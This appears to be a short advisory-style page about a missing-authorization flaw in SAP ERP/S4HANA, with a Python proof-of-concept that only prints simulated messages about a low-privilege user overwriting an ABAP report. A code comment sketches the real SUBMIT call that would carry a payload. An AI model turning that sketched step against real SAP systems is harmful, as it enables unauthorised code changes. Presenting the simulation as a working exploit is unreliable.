CVE-2026-34256 SAP ERP/S4HANA 权限绕过漏洞

# PoC for CVE-2026-34256: SAP ABAP Report Overwrite via Missing Auth # This script simulates the exploitation logic. import sys def simulate_abap_execution(user_role, target_report, payload): """ Simulates the execution of a vulnerable ABAP report that lacks authorization checks. """ print(f"[*] User Role: {user_role}") print(f"[*] Target Report to Overwrite: {target_report}") # Simulate the vulnerability: No authorization check for 'WRITE' access if user_role == 'LOW_PRIVILEGE': print("[!] Vulnerability Triggered: Authorization check missing.") print(f"[+] Overwriting report '{target_report}' with payload...") # In a real scenario, this would call the vulnerable transaction/report # SUBMIT z_vulnerable_report WITH p_target = target_report WITH p_code = payload. print(f"[+] Success: Report '{target_report}' has been overwritten.") print("[!] Impact: The report will fail or execute malicious code on next run.") return True else: print("[-] Exploit failed or not applicable.") return False if __name__ == "__main__": # Configuration ATTACKER_ROLE = "LOW_PRIVILEGE" TARGET_8_CHAR_REPORT = "Z_CRITICAL" # Example target PAYLOAD_CONTENT = "DO_NOTHING." # Content used to overwrite print("=== CVE-2026-34256 PoC Simulation ===") simulate_abap_execution(ATTACKER_ROLE, TARGET_8_CHAR_REPORT, PAYLOAD_CONTENT)